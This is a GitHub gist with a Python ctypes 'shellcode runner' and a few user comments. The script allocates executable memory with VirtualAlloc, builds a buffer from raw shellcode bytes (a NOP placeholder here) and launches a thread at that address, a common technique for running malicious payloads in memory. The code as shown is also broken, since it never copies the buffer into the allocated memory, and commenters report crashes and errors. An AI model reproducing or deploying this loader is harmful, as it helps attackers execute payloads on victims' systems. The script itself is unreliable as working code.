Skip to content

Instantly share code, notes, and snippets.

Created May 12, 2020 16:03
Show Gist options
  • Save peewpw/8054a64eb4b5cd007a8431a71d698dc3 to your computer and use it in GitHub Desktop.
Save peewpw/8054a64eb4b5cd007a8431a71d698dc3 to your computer and use it in GitHub Desktop.
64 bit Python3 compatible shellcode runner
# 64 bit compatible shellcode launcher
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
# based on work from:
# stuck together by: @peewpw
import ctypes
scbytes = b'\x90\x90'
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
Copy link

kartone commented Jun 8, 2021

Why you prototype RtlCopyMemory and use RtlMoveMemory? Is it a typo?

Copy link

gpillot commented Aug 7, 2021

thanks dude!

Copy link

xp4xbox commented Jan 7, 2022

Its crashing everytime I try to use it

Copy link

forceedge01 commented Aug 14, 2023

Getting this:

AttributeError: 'str' object has no attribute 'c_void_p'

Python 3.11

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment